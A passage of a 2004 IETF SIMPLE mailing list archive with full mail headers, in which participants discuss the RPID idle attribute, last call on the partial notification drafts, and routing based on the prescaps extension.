	by mgw-int1.ntc.nokia.com (Switch-2.2.8/Switch-2.2.8) with ESMTP id i2273w728384;
	Tue, 2 Mar 2004 09:03:58 +0200 (EET)
Received: from esebe019.NOE.Nokia.com ([172.21.138.58]) by esebh001.NOE.Nokia.com with Microsoft SMTPSVC(5.0.2195.6881);
	 Tue, 2 Mar 2004 09:03:52 +0200
content-class: urn:content-classes:message
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
Subject: RE: [Simple] comments on draft-ietf-simple-rpid (long)
X-MimeOLE: Produced By Microsoft Exchange V6.0.6487.1
Message-ID: <2038BCC78B1AD641891A0D1AE133DBB701797812@esebe019.ntc.nokia.com>
Thread-Topic: [Simple] comments on draft-ietf-simple-rpid (long)
Thread-Index: AcP/qQCAOwTaQPQtQP6hGuO54GnD+QAewlKg
To: <jdrosen@dynamicsoft.com>, <hgs@cs.columbia.edu>
Cc: <pkyzivat@cisco.com>, <simple@ietf.org>
X-OriginalArrivalTime: 02 Mar 2004 07:03:52.0236 (UTC) FILETIME=[84EFFEC0:01C40024]
Content-Transfer-Encoding: quoted-printable
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Tue, 2 Mar 2004 09:03:51 +0200
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.3 required=5.0 tests=AWL,NO_REAL_NAME autolearn=no 
	version=2.60
Content-Transfer-Encoding: quoted-printable
Content-Transfer-Encoding: quoted-printable



> -----Original Message-----
> From: simple-admin@ietf.org [mailto:simple-admin@ietf.org]On Behalf Of
> ext Jonathan Rosenberg
> Sent: 01.March.2004 17:05
> To: Henning Schulzrinne
> Cc: Paul Kyzivat; Simple WG
> Subject: Re: [Simple] comments on draft-ietf-simple-rpid (long)
>=20

> >=20
> >=20
> > I can't see how a PC or phone could compute these=20
> probabilities. This=20
> > would require knowing that 10 minutes of absence (the only=20
> observable=20
> > value), for a particular user, implies that there's a 20%=20
> chance that=20
> > the user has stepped out. Unless your PC or phone has a=20
> user proximity=20
> > detector, this seems hard to do.
> >=20
> > We do have the contact-type to allow the receiver to guess=20
> what this may=20
> > mean. I think we discussed this before: in almost all=20
> cases, the value=20
> > of a long idle time is not all that high (unless you know that the=20
> > presentity is either a telemarketer who doesn't exist=20
> without a phone or=20
> > a compulsive PC user that doesn't take his hands off the=20
> keyboard while=20
> > in the office), but a short idle time is a good indication=20
> that somebody=20
> > is likely home, be it a phone or PC.
> >=20
> > Thus, my suggestion is to leave this as is and not try to=20
> over-interpret=20
> > the value.
>=20
> I'd really rather not; I think its a mistake to produce an idle=20
> attribute that differs substantially from established=20
> semantics. This is=20
> one of the few pidf extensions that we know is widely used in=20
> existing=20
> systems, and is a clear requirement for us to provide.
>=20
> I would instead propose that we define an attribute like=20
> <device-idle>=20
> which makes it clear that this refers to the idle time on the=20
> DEVICE on=20
> which that particular tuple is associated. A natural=20
> consequence of this=20
> is that it wouldnt make sense for tuples that span devices or are=20
> otherwise not associated with a device. I'd also suggest adding text=20
> that makes it clear that, in the one case of an IM app on a PC, that=20
> this has the commonly understood semantics of idle.

What else is idle? Surely <idle> is not saying that the human is idle, =
but the device that the human is using has not been used for a while. =
<device-idle> gains nothing.

For mobile phones, users can ignore the idle indication.

/Hisham

>=20
> We may or may not also want idle as you have defined it; I am more=20
> agnostic on that point, but would suggest renamining it if it is=20
> included, to avoid confusion.
>=20
> Thanks,
> Jonathan R.
>=20
> --=20
> Jonathan D. Rosenberg, Ph.D.                600 Lanidex Plaza
> Chief Technology Officer                    Parsippany, NJ 07054-2711
> dynamicsoft
> jdrosen@dynamicsoft.com                     FAX:   (973) 952-5050
> http://www.jdrosen.net                      PHONE: (973) 952-5000
> http://www.dynamicsoft.com
>=20
> _______________________________________________
> Simple mailing list
> Simple@ietf.org
> https://www1.ietf.org/mailman/listinfo/simple
>=20

_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple



From simple-admin@ietf.org  Tue Mar  2 02:23:29 2004
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id CAA21692
	for <simple-archive@ietf.org>; Tue, 2 Mar 2004 02:23:29 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1Ay4FU-0004gJ-00
	for simple-archive@ietf.org; Tue, 02 Mar 2004 02:23:28 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1Ay4Ed-0004Ys-00
	for simple-archive@ietf.org; Tue, 02 Mar 2004 02:22:36 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1Ay4E7-0004Qy-00; Tue, 02 Mar 2004 02:22:03 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1Ay4E6-0004Hb-4k; Tue, 02 Mar 2004 02:22:02 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1Ay4DS-00040o-Af
	for simple@optimus.ietf.org; Tue, 02 Mar 2004 02:21:22 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id CAA21486
	for <simple@ietf.org>; Tue, 2 Mar 2004 02:21:19 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1Ay4DO-0004MW-00
	for simple@ietf.org; Tue, 02 Mar 2004 02:21:18 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1Ay4CY-0004GG-00
	for simple@ietf.org; Tue, 02 Mar 2004 02:20:26 -0500
Received: from imr1.ericy.com ([198.24.6.9])
	by ietf-mx with esmtp (Exim 4.12)
	id 1Ay4Bo-00042Q-00
	for simple@ietf.org; Tue, 02 Mar 2004 02:19:40 -0500
Received: from eamrcnt717.exu.ericsson.se (eamrcnt717.exu.ericsson.se [138.85.90.249])
	by imr1.ericy.com (8.12.10/8.12.10) with ESMTP id i227J3Lc014092
	for <simple@ietf.org>; Tue, 2 Mar 2004 01:19:03 -0600 (CST)
Received: from eamrcnt750.exu.ericsson.se ([138.85.133.51]) by eamrcnt717.exu.ericsson.se with Microsoft SMTPSVC(6.0.3790.0);
	 Tue, 2 Mar 2004 01:14:28 -0600
Received: by eamrcnt750.exu.ericsson.se with Internet Mail Service (5.5.2657.72)
	id <FGYM3CKN>; Tue, 2 Mar 2004 01:18:54 -0600
Message-ID: <2DBF697D5B36014ABA46E66A96107DA02C95BA@lmc37.lmc.ericsson.se>
From: "George Foti (QA/EMC)" <george.foti@ericsson.com>
To: "'hisham.khartabil@nokia.com'" <hisham.khartabil@nokia.com>,
        simple@ietf.org
Subject: RE: [Simple] Reminder: 1 week left for Partial Notification WGLC
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2657.72)
Content-Type: text/plain;
	charset="iso-8859-1"
X-OriginalArrivalTime: 02 Mar 2004 07:14:28.0812 (UTC) FILETIME=[005DC8C0:01C40026]
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Tue, 2 Mar 2004 01:18:00 -0600
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.1 required=5.0 tests=AWL autolearn=no version=2.60

Hisham, this one is in good shape, and ready to go
Rgds/gf

> -----Original Message-----
> From: simple-admin@ietf.org [mailto:simple-admin@ietf.org]On Behalf Of
> hisham.khartabil@nokia.com
> Sent: Tuesday, March 02, 2004 1:51 AM
> To: simple@ietf.org
> Subject: [Simple] Reminder: 1 week left for Partial Notification WGLC
> 
> 
> Please send any comments you have. If you have read the 
> drafts and found no issues what so ever, please send a note 
> saying so. If you found nits, spelling mistakes, etc, please 
> send a note saying so. This will show that we have consensus 
> that the drafts are ready to be sent to IESG.
> 
> Thanks,
> Hisham
> 
> _______________________________________________
> Simple mailing list
> Simple@ietf.org
> https://www1.ietf.org/mailman/listinfo/simple
> 
 

This communication is confidential and intended solely for the addressee(s). Any unauthorized review, use, disclosure or distribution is prohibited. If you believe this message has been sent to you in error, please notify the sender by replying to this transmission and delete the message without disclosing it. Thank you.

E-mail including attachments is susceptible to data corruption, interruption, unauthorized amendment, tampering and viruses, and we only send and receive e-mails on the basis that we are not liable for any such corruption, interception, amendment, tampering or viruses or any consequences thereof.

_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple


From exim@www1.ietf.org  Tue Mar  2 02:24:02 2004
Received: from optimus.ietf.org (optimus.ietf.org [132.151.1.19])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id CAA21764
	for <simple-archive@odin.ietf.org>; Tue, 2 Mar 2004 02:24:02 -0500 (EST)
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1Ay4Fa-0004vO-Ip
	for simple-archive@odin.ietf.org; Tue, 02 Mar 2004 02:23:34 -0500
Received: (from exim@localhost)
	by www1.ietf.org (8.12.8/8.12.8/Submit) id i227NYco018924
	for simple-archive@odin.ietf.org; Tue, 2 Mar 2004 02:23:34 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1Ay4Fa-0004v5-3x
	for simple-web-archive@optimus.ietf.org; Tue, 02 Mar 2004 02:23:34 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id CAA21712
	for <simple-web-archive@ietf.org>; Tue, 2 Mar 2004 02:23:31 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1Ay4FW-0004ge-00
	for simple-web-archive@ietf.org; Tue, 02 Mar 2004 02:23:30 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1Ay4Ee-0004Z1-00
	for simple-web-archive@ietf.org; Tue, 02 Mar 2004 02:22:37 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1Ay4E7-0004Qy-00; Tue, 02 Mar 2004 02:22:03 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1Ay4E6-0004Hb-4k; Tue, 02 Mar 2004 02:22:02 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1Ay4DS-00040o-Af
	for simple@optimus.ietf.org; Tue, 02 Mar 2004 02:21:22 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id CAA21486
	for <simple@ietf.org>; Tue, 2 Mar 2004 02:21:19 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1Ay4DO-0004MW-00
	for simple@ietf.org; Tue, 02 Mar 2004 02:21:18 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1Ay4CY-0004GG-00
	for simple@ietf.org; Tue, 02 Mar 2004 02:20:26 -0500
Received: from imr1.ericy.com ([198.24.6.9])
	by ietf-mx with esmtp (Exim 4.12)
	id 1Ay4Bo-00042Q-00
	for simple@ietf.org; Tue, 02 Mar 2004 02:19:40 -0500
Received: from eamrcnt717.exu.ericsson.se (eamrcnt717.exu.ericsson.se [138.85.90.249])
	by imr1.ericy.com (8.12.10/8.12.10) with ESMTP id i227J3Lc014092
	for <simple@ietf.org>; Tue, 2 Mar 2004 01:19:03 -0600 (CST)
Received: from eamrcnt750.exu.ericsson.se ([138.85.133.51]) by eamrcnt717.exu.ericsson.se with Microsoft SMTPSVC(6.0.3790.0);
	 Tue, 2 Mar 2004 01:14:28 -0600
Received: by eamrcnt750.exu.ericsson.se with Internet Mail Service (5.5.2657.72)
	id <FGYM3CKN>; Tue, 2 Mar 2004 01:18:54 -0600
Message-ID: <2DBF697D5B36014ABA46E66A96107DA02C95BA@lmc37.lmc.ericsson.se>
From: "George Foti (QA/EMC)" <george.foti@ericsson.com>
To: "'hisham.khartabil@nokia.com'" <hisham.khartabil@nokia.com>,
        simple@ietf.org
Subject: RE: [Simple] Reminder: 1 week left for Partial Notification WGLC
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2657.72)
Content-Type: text/plain;
	charset="iso-8859-1"
X-OriginalArrivalTime: 02 Mar 2004 07:14:28.0812 (UTC) FILETIME=[005DC8C0:01C40026]
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Tue, 2 Mar 2004 01:18:00 -0600
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.1 required=5.0 tests=AWL autolearn=no version=2.60

Hisham, this one is in good shape, and ready to go
Rgds/gf

> -----Original Message-----
> From: simple-admin@ietf.org [mailto:simple-admin@ietf.org]On Behalf Of
> hisham.khartabil@nokia.com
> Sent: Tuesday, March 02, 2004 1:51 AM
> To: simple@ietf.org
> Subject: [Simple] Reminder: 1 week left for Partial Notification WGLC
> 
> 
> Please send any comments you have. If you have read the 
> drafts and found no issues what so ever, please send a note 
> saying so. If you found nits, spelling mistakes, etc, please 
> send a note saying so. This will show that we have consensus 
> that the drafts are ready to be sent to IESG.
> 
> Thanks,
> Hisham
> 
> _______________________________________________
> Simple mailing list
> Simple@ietf.org
> https://www1.ietf.org/mailman/listinfo/simple
> 
 

This communication is confidential and intended solely for the addressee(s). Any unauthorized review, use, disclosure or distribution is prohibited. If you believe this message has been sent to you in error, please notify the sender by replying to this transmission and delete the message without disclosing it. Thank you.

E-mail including attachments is susceptible to data corruption, interruption, unauthorized amendment, tampering and viruses, and we only send and receive e-mails on the basis that we are not liable for any such corruption, interception, amendment, tampering or viruses or any consequences thereof.

_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple



From simple-admin@ietf.org  Tue Mar  2 02:40:40 2004
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id CAA22677
	for <simple-archive@ietf.org>; Tue, 2 Mar 2004 02:40:40 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1Ay4W7-0006px-00
	for simple-archive@ietf.org; Tue, 02 Mar 2004 02:40:39 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1Ay4U9-0006Mz-00
	for simple-archive@ietf.org; Tue, 02 Mar 2004 02:38:38 -0500
Received: from [65.246.255.50] (helo=mx2.foretec.com)
	by ietf-mx with esmtp (Exim 4.12)
	id 1Ay4TR-0006Du-00; Tue, 02 Mar 2004 02:37:53 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by mx2.foretec.com with esmtp (Exim 4.24)
	id 1Ay4Sh-0002Z2-Ge; Tue, 02 Mar 2004 02:37:07 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1Ay4Sc-0008GQ-0w; Tue, 02 Mar 2004 02:37:02 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1Ay4Rt-0008AW-Lo
	for simple@optimus.ietf.org; Tue, 02 Mar 2004 02:36:17 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id CAA22532
	for <simple@ietf.org>; Tue, 2 Mar 2004 02:36:14 -0500 (EST)
From: mikko.lonnfors@nokia.com
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1Ay4Rp-00067j-00
	for simple@ietf.org; Tue, 02 Mar 2004 02:36:14 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1Ay4Qu-00062q-00
	for simple@ietf.org; Tue, 02 Mar 2004 02:35:16 -0500
Received: from mgw-x3.nokia.com ([131.228.20.26])
	by ietf-mx with esmtp (Exim 4.12)
	id 1Ay4Qa-0005xn-00
	for simple@ietf.org; Tue, 02 Mar 2004 02:34:56 -0500
Received: from esdks004.ntc.nokia.com (esdks004.ntc.nokia.com [172.21.138.159])
	by mgw-x3.nokia.com (Switch-2.2.8/Switch-2.2.8) with ESMTP id i227Ys721568;
	Tue, 2 Mar 2004 09:34:54 +0200 (EET)
X-Scanned: Tue, 2 Mar 2004 09:34:46 +0200 Nokia Message Protector V1.3.13 2004020314 - RELEASE
Received: (from root@localhost)
	by esdks004.ntc.nokia.com (8.12.9/8.12.9) id i227YkmN022880;
	Tue, 2 Mar 2004 09:34:46 +0200
Received: from mgw-int1.ntc.nokia.com (172.21.143.96)
	by esdks004.ntc.nokia.com 00kfyBl1; Tue, 02 Mar 2004 09:34:45 EET
Received: from esebh003.NOE.Nokia.com (esebh003.ntc.nokia.com [172.21.138.82])
	by mgw-int1.ntc.nokia.com (Switch-2.2.8/Switch-2.2.8) with ESMTP id i227YY723987;
	Tue, 2 Mar 2004 09:34:34 +0200 (EET)
Received: from esebe004.NOE.Nokia.com ([172.21.138.44]) by esebh003.NOE.Nokia.com with Microsoft SMTPSVC(5.0.2195.6881);
	 Tue, 2 Mar 2004 09:34:25 +0200
X-MimeOLE: Produced By Microsoft Exchange V6.0.6487.1
Content-Class: urn:content-classes:message
MIME-Version: 1.0
Content-Type: text/plain;
	charset="us-ascii"
Content-Transfer-Encoding: quoted-printable
Subject: RE: [Simple] comments on prescaps
Message-ID: <0C1353ABB1DEB74DB067ADFF749C4EEF01D172BF@esebe004.ntc.nokia.com>
Thread-Topic: [Simple] comments on prescaps
thread-index: AcP/oBtbBiuMOp9WS8K2Iuyr3q6xAgAh1P0w
To: <jdrosen@dynamicsoft.com>
Cc: <simple@ietf.org>
X-OriginalArrivalTime: 02 Mar 2004 07:34:25.0982 (UTC) FILETIME=[C9EF6DE0:01C40028]
Content-Transfer-Encoding: quoted-printable
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Tue, 2 Mar 2004 09:34:25 +0200
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.3 required=5.0 tests=AWL,NO_REAL_NAME autolearn=no 
	version=2.60
Content-Transfer-Encoding: quoted-printable

>=20
> inline; we didnt cover this during the meeting.

True, there really wasn't time for everything. Inline:

> mikko.lonnfors@nokia.com wrote:
>=20
> > Hi,
> >=20
>=20
> >>>5. Generating SIP request based on 'prescaps' extension
> >>>
> >>>   UA receiving PIDF documents with 'prescaps' extension=20
> may wish to
> >>>   generate SIP request which would route to UA having capabilities
> >>>   described by 'prescaps' extension. UA MAY add
> >>
> >>Accept-Contact: header
> >>
> >>>   based on 'prescaps' extension elements. However, as discussed in
> >>>   Section 4 device capabilities described by this
> >>
> >>extension may not be
> >>
> >>>   consistent what UA has indicated in its registration.=20
> Due to this
> >>>   request may not route to correct UA.
> >>
> >>It should not be necessary, in fact, to do this at all. The contact=20
> >>URI should route you to a UA that has these capabilities.
> >=20
> >=20
> > Are you saying that adding Accept-Contact: doesn't make any=20
> difference=20
> > in proxies in case there exists multiple UAs for a single=20
> AoR? But in=20
> > any case you are right that contact URI should route to correct UA.
>=20
> My point is that its redundant. The definition, I think, of=20
> the contact=20
> URI is that it routes to something with the advertised=20
> capabilities. I=20
> should not have to use caller prefs to route to a device described by=20
> the tuple.

I agree that contact URI should route to correct UA without any callee
prefs. So if nobody thinks this is useful I will remove the section.

- Mikko  =20

> -Jonathan R.
>=20
>=20
> --=20
> Jonathan D. Rosenberg, Ph.D.                600 Lanidex Plaza
> Chief Technology Officer                    Parsippany, NJ 07054-2711
> dynamicsoft
> jdrosen@dynamicsoft.com                     FAX:   (973) 952-5050
> http://www.jdrosen.net                      PHONE: (973) 952-5000
> http://www.dynamicsoft.com
>=20

_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple


From exim@www1.ietf.org  Tue Mar  2 02:41:17 2004
Received: from optimus.ietf.org (optimus.ietf.org [132.151.1.19])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id CAA22779
	for <simple-archive@odin.ietf.org>; Tue, 2 Mar 2004 02:41:17 -0500 (EST)
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1Ay4WF-0000SC-27
	for simple-archive@odin.ietf.org; Tue, 02 Mar 2004 02:40:49 -0500
Received: (from exim@localhost)
	by www1.ietf.org (8.12.8/8.12.8/Submit) id i227ekk3001729
	for simple-archive@odin.ietf.org; Tue, 2 Mar 2004 02:40:46 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1Ay4WC-0000Ro-4f
	for simple-web-archive@optimus.ietf.org; Tue, 02 Mar 2004 02:40:44 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id CAA22692
	for <simple-web-archive@ietf.org>; Tue, 2 Mar 2004 02:40:40 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1Ay4W8-0006q2-00
	for simple-web-archive@ietf.org; Tue, 02 Mar 2004 02:40:40 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1Ay4UA-0006N6-00
	for simple-web-archive@ietf.org; Tue, 02 Mar 2004 02:38:39 -0500
Received: from [65.246.255.50] (helo=mx2.foretec.com)
	by ietf-mx with esmtp (Exim 4.12)
	id 1Ay4TR-0006Du-00; Tue, 02 Mar 2004 02:37:53 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by mx2.foretec.com with esmtp (Exim 4.24)
	id 1Ay4Sh-0002Z2-Ge; Tue, 02 Mar 2004 02:37:07 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1Ay4Sc-0008GQ-0w; Tue, 02 Mar 2004 02:37:02 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1Ay4Rt-0008AW-Lo
	for simple@optimus.ietf.org; Tue, 02 Mar 2004 02:36:17 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id CAA22532
	for <simple@ietf.org>; Tue, 2 Mar 2004 02:36:14 -0500 (EST)
From: mikko.lonnfors@nokia.com
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1Ay4Rp-00067j-00
	for simple@ietf.org; Tue, 02 Mar 2004 02:36:14 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1Ay4Qu-00062q-00
	for simple@ietf.org; Tue, 02 Mar 2004 02:35:16 -0500
Received: from mgw-x3.nokia.com ([131.228.20.26])
	by ietf-mx with esmtp (Exim 4.12)
	id 1Ay4Qa-0005xn-00
	for simple@ietf.org; Tue, 02 Mar 2004 02:34:56 -0500
Received: from esdks004.ntc.nokia.com (esdks004.ntc.nokia.com [172.21.138.159])
	by mgw-x3.nokia.com (Switch-2.2.8/Switch-2.2.8) with ESMTP id i227Ys721568;
	Tue, 2 Mar 2004 09:34:54 +0200 (EET)
X-Scanned: Tue, 2 Mar 2004 09:34:46 +0200 Nokia Message Protector V1.3.13 2004020314 - RELEASE
Received: (from root@localhost)
	by esdks004.ntc.nokia.com (8.12.9/8.12.9) id i227YkmN022880;
	Tue, 2 Mar 2004 09:34:46 +0200
Received: from mgw-int1.ntc.nokia.com (172.21.143.96)
	by esdks004.ntc.nokia.com 00kfyBl1; Tue, 02 Mar 2004 09:34:45 EET
Received: from esebh003.NOE.Nokia.com (esebh003.ntc.nokia.com [172.21.138.82])
	by mgw-int1.ntc.nokia.com (Switch-2.2.8/Switch-2.2.8) with ESMTP id i227YY723987;
	Tue, 2 Mar 2004 09:34:34 +0200 (EET)
Received: from esebe004.NOE.Nokia.com ([172.21.138.44]) by esebh003.NOE.Nokia.com with Microsoft SMTPSVC(5.0.2195.6881);
	 Tue, 2 Mar 2004 09:34:25 +0200
X-MimeOLE: Produced By Microsoft Exchange V6.0.6487.1
Content-Class: urn:content-classes:message
MIME-Version: 1.0
Content-Type: text/plain;
	charset="us-ascii"
Content-Transfer-Encoding: quoted-printable
Subject: RE: [Simple] comments on prescaps
Message-ID: <0C1353ABB1DEB74DB067ADFF749C4EEF01D172BF@esebe004.ntc.nokia.com>
Thread-Topic: [Simple] comments on prescaps
thread-index: AcP/oBtbBiuMOp9WS8K2Iuyr3q6xAgAh1P0w
To: <jdrosen@dynamicsoft.com>
Cc: <simple@ietf.org>
X-OriginalArrivalTime: 02 Mar 2004 07:34:25.0982 (UTC) FILETIME=[C9EF6DE0:01C40028]
Content-Transfer-Encoding: quoted-printable
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Tue, 2 Mar 2004 09:34:25 +0200
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.3 required=5.0 tests=AWL,NO_REAL_NAME autolearn=no 
	version=2.60
Content-Transfer-Encoding: quoted-printable
Content-Transfer-Encoding: quoted-printable

>=20
> inline; we didnt cover this during the meeting.

True, there really wasn't time for everything. Inline:

> mikko.lonnfors@nokia.com wrote:
>=20
> > Hi,
> >=20
>=20
> >>>5. Generating SIP request based on 'prescaps' extension
> >>>
> >>>   UA receiving PIDF documents with 'prescaps' extension=20
> may wish to
> >>>   generate SIP request which would route to UA having capabilities
> >>>   described by 'prescaps' extension. UA MAY add
> >>
> >>Accept-Contact: header
> >>
> >>>   based on 'prescaps' extension elements. However, as discussed in
> >>>   Section 4 device capabilities described by this
> >>
> >>extension may not be
> >>
> >>>   consistent what UA has indicated in its registration.=20
> Due to this
> >>>   request may not route to correct UA.
> >>
> >>It should not be necessary, in fact, to do this at all. The contact=20
> >>URI should route you to a UA that has these capabilities.
> >=20
> >=20
> > Are you saying that adding Accept-Contact: doesn't make any=20
> difference=20
> > in proxies in case there exists multiple UAs for a single=20
> AoR? But in=20
> > any case you are right that contact URI should route to correct UA.
>=20
